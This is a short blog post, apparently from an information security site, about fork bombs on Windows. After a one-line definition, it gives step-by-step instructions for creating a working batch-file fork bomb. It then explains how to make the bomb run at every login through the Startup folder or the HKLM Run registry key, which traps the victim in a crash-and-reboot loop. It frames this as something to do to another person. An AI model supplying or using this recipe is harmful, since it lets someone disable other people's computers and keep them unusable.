A self-doubling virus

• February 1, 2017
• Information Security

A fork bomb aka Rabbit Virus is a denial-of-service attack wherein a process continually replicates itself to deplete available system resources, slowing down or crashing the system due to resource starvation.

Initiating a system crash

On a Windows system:

1. Open notepad
2. Type %0|%0
3. Save the file to your desktop as anything.bat
4. Double-click the file on your desktop

It will open more and more copies of itself, and those copies will open yet more copies. Your computer will be unusable within a couple of seconds after clicking the file and it will crash completely within a minute or two.

And once you turn it back on it will be back to normal. Voila!

In case you wish to make it permanent, then add it to the Startup folder or:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run in the registry using RegEdit.exe

This will run every time you log in. Hence you'll just get into a cycle of iterating crash, reboot, crash, reboot etc. Unless the person knows how to get out of it.